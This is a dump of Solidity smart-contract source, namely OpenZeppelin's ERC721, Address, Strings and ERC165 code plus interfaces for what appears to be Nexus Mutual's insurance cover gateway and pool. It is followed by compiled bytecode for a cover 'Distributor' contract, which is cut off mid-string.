*/ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.0; interface IGateway { enum ClaimStatus { IN_PROGRESS, ACCEPTED, REJECTED } enum CoverType { SIGNED_QUOTE_CONTRACT_COVER } function buyCover ( address contractAddress, address coverAsset, uint sumAssured, uint16 coverPeriod, CoverType coverType, bytes calldata data ) external payable returns (uint); function getCoverPrice ( address contractAddress, address coverAsset, uint sumAssured, uint16 coverPeriod, CoverType coverType, bytes calldata data ) external view returns (uint coverPrice); function getCover(uint coverId) external view returns ( uint8 status, uint sumAssured, uint16 coverPeriod, uint validUntil, address contractAddress, address coverAsset, uint premiumInNXM, address memberAddress ); function submitClaim(uint coverId, bytes calldata data) external returns (uint); function claimTokens( uint coverId, uint incidentId, uint coveredTokenAmount, address coverAsset ) external returns (uint claimId, uint payoutAmount, address payoutToken); function getClaimCoverId(uint claimId) external view returns (uint); function getPayoutOutcome(uint claimId) external view returns (ClaimStatus status, uint paidAmount, address asset); function executeCoverAction(uint tokenId, uint8 action, bytes calldata data) external payable returns (bytes memory, uint); function switchMembership(address _newAddress) external; } // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.0; interface INXMMaster { function tokenAddress() external view returns (address); function owner() external view returns (address); function pauseTime() external view returns (uint); function masterInitialized() external view returns (bool); function isInternal(address _add) external view returns (bool); function isPause() external view returns (bool check); function isOwner(address _add) external view returns (bool); function isMember(address _add) external view returns (bool); function checkIsAuthToGoverned(address _add) external view returns (bool); function updatePauseTime(uint _time) external; function dAppLocker() external view returns (address _add); function dAppToken() external view returns (address _add); function getLatestAddress(bytes2 _contractName) external view returns (address payable contractAddress); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.0; import "./IPriceFeedOracle.sol"; interface IPool { function sellNXM(uint tokenAmount, uint minEthOut) external; function sellNXMTokens(uint tokenAmount) external returns (bool); function minPoolEth() external returns (uint); function transferAssetToSwapOperator(address asset, uint amount) external; function setAssetDataLastSwapTime(address asset, uint32 lastSwapTime) external; function getAssetDetails(address _asset) external view returns ( uint112 min, uint112 max, uint32 lastAssetSwapTime, uint maxSlippageRatio ); function sendClaimPayout ( address asset, address payable payoutAddress, uint amount ) external returns (bool success); function transferAsset( address asset, address payable destination, uint amount ) external; function upgradeCapitalPool(address payable newPoolAddress) external; function priceFeedOracle() external view returns (IPriceFeedOracle); function getPoolValueInEth() external view returns (uint); function transferAssetFrom(address asset, address from, uint amount) external; function getEthForNXM(uint nxmAmount) external view returns (uint ethAmount); function calculateEthForNXM( uint nxmAmount, uint currentTotalAssetValue, uint mcrEth ) external pure returns (uint); function calculateMCRRatio(uint totalAssetValue, uint mcrEth) external pure returns (uint); function calculateTokenSpotPrice(uint totalAssetValue, uint mcrEth) external pure returns (uint tokenPrice); function getTokenPrice(address asset) external view returns (uint tokenPrice); function getMCRRatio() external view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-only pragma solidity >=0.5.0; interface IPriceFeedOracle { function daiAddress() external view returns (address); function stETH() external view returns (address); function ETH() external view returns (address); function getAssetToEthRate(address asset) external view returns (uint); function getAssetForEth(address asset, uint ethIn) external view returns (uint); }
0x60806040526004361061021d5760003560e01c80638322fff211610123578063c87b56dd116100ab578063e985e9c51161006f578063e985e9c51461069c578063ee97f7f3146106e5578063f0f4426014610719578063f2fde38b14610739578063fd7b68a21461075957600080fd5b8063c87b56dd146105fb578063d8a856ee1461061b578063db3274911461062e578063e1817a8b1461064e578063e967eb1a1461066857600080fd5b80639f1cafa4116100f25780639f1cafa414610565578063a001ecdd14610585578063a22cb4651461059b578063ae06c1b7146105bb578063b88d4fde146105db57600080fd5b80638322fff2146104ea57806386a15637146105125780638da5cb5b1461053257806395d89b411461055057600080fd5b806342842e0e116101a657806352799e4d1161017557806352799e4d1461043357806361d027b3146104625780636352211e1461048757806370a08231146104a7578063715018a6146104d557600080fd5b806342842e0e146103b25780634c285151146103d25780634d776735146103f35780634ed75d471461041357600080fd5b8063095ea7b3116101ed578063095ea7b3146102da578063116191b6146102fa57806323b872dd1461032e57806328dd37731461034e57806335a56e511461036e57600080fd5b80629697171461022957806301ffc9a71461024b57806306fdde0314610280578063081812fc146102a257600080fd5b3661022457005b600080fd5b34801561023557600080fd5b506102496102443660046135fe565b6107d0565b005b34801561025757600080fd5b5061026b61026636600461348a565b610b85565b60405190151581526020015b60405180910390f35b34801561028c57600080fd5b50610295610bd7565b6040516102779190613926565b3480156102ae57600080fd5b506102c26102bd366004613584565b610c69565b6040516001600160a01b039091168152602001610277565b3480156102e657600080fd5b506102496102f5366004613427565b610cfe565b34801561030657600080fd5b506102c27f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b581565b34801561033a57600080fd5b50610249610349366004613274565b610e14565b34801561035a57600080fd5b506102496103693660046135fe565b610e45565b34801561037a57600080fd5b5061038e6103893660046136c6565b61104a565b6040805193845260208401929092526001600160a01b031690820152606001610277565b3480156103be57600080fd5b506102496103cd366004613274565b611315565b6103e56103e036600461364c565b611330565b6040516102779291906138d3565b3480156103ff57600080fd5b5061024961040e366004613427565b611747565b34801561041f57600080fd5b5061024961042e366004613204565b611813565b34801561043f57600080fd5b5061045361044e366004613584565b611978565b604051610277939291906138f5565b34801561046e57600080fd5b506009546102c29061010090046001600160a01b031681565b34801561049357600080fd5b506102c26104a2366004613584565b611a28565b3480156104b357600080fd5b506104c76104c2366004613204565b611a9f565b604051908152602001610277565b3480156104e157600080fd5b50610249611b26565b3480156104f657600080fd5b506102c273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b34801561051e57600080fd5b5061024961052d366004613452565b611b9a565b34801561053e57600080fd5b506006546001600160a01b03166102c2565b34801561055c57600080fd5b50610295611c0c565b34801561057157600080fd5b50610249610580366004613427565b611c1b565b34801561059157600080fd5b506104c760085481565b3480156105a757600080fd5b506102496105b63660046133fa565b611c7d565b3480156105c757600080fd5b506102496105d6366004613584565b611d42565b3480156105e757600080fd5b506102496105f63660046132b4565b611da1565b34801561060757600080fd5b50610295610616366004613584565b611dd9565b6104c761062936600461335b565b611ec1565b34801561063a57600080fd5b506104c76106493660046135b4565b61236f565b34801561065a57600080fd5b5060095461026b9060ff1681565b34801561067457600080fd5b506102c27f000000000000000000000000d7c49cee7e9188cca6ad8ff264c1da2e69d4cf3b81565b3480156106a857600080fd5b5061026b6106b736600461323c565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b3480156106f157600080fd5b506102c27f00000000000000000000000001bfd82675dbcc7762c84019ca518e701c0cd07e81565b34801561072557600080fd5b50610249610734366004613204565b612478565b34801561074557600080fd5b50610249610754366004613204565b612559565b34801561076557600080fd5b50610779610774366004613584565b612644565b6040805160ff9099168952602089019790975261ffff9095169587019590955260608601929092526001600160a01b03908116608086015290811660a085015260c08401929092521660e082015261010001610277565b816107db338261270a565b6108005760405162461bcd60e51b81526004016107f790613a23565b60405180910390fd5b600260075414156108235760405162461bcd60e51b81526004016107f790613aeb565b60026007556040516396ff592f60e01b8152600481018390526000907f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b56001600160a01b0316906396ff592f9060240160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c3919061359c565b90508381146109225760405162461bcd60e51b815260206004820152602560248201527f4469737472696275746f723a20636f766572496420636c61696d4964206d69736044820152640dac2e8c6d60db1b60648201526084016107f7565b60008060007f000000000000000000000000089ab1536d032f54dfbc194ba47529a4351af1b56001600160a01b03166352799e4d876040518263ffffffff1660e01b815260040161097591815260200190565b60606040518083038186803b15801561098d57600080fd5b505afa1580156109a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c5919061353f565b9194509250905060018360028111156109ee57634e487b7160e01b600052602160045260246000fd5b14610a3b5760405162461bcd60e51b815260206004820152601f60248201527f4469737472696275746f723a20436c61696d206e6f742061636365707465640060448201526064016107f7565b610a4487612801565b6001600160a01b03811673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610b1957604051600090339084908381818185875af1925050503d8060008114610aab576040519150601f19603f3d011682016040523d82523d6000602084013e610ab0565b606091505b5050905080610b135760405162461bcd60e51b815260206004820152602960248201527f4469737472696275746f723a205472616e7366657220746f204e4654206f776e604482015268195c8819985a5b195960ba1b60648201526084016107f7565b50610b30565b80610b2e6001600160a01b038216338561289c565b505b604080518381526001600160a01b0383166020820152339188918a917f34fca3c3e347457684d11c6311e01dc77fc4d158b9fb5902af19c6b9fae603a9910160405180910390a4505060016007555050505050565b60006001600160e01b031982166380ac58cd60e01b1480610bb657506001600160e01b03198216635b5e139f60e01b145b80610bd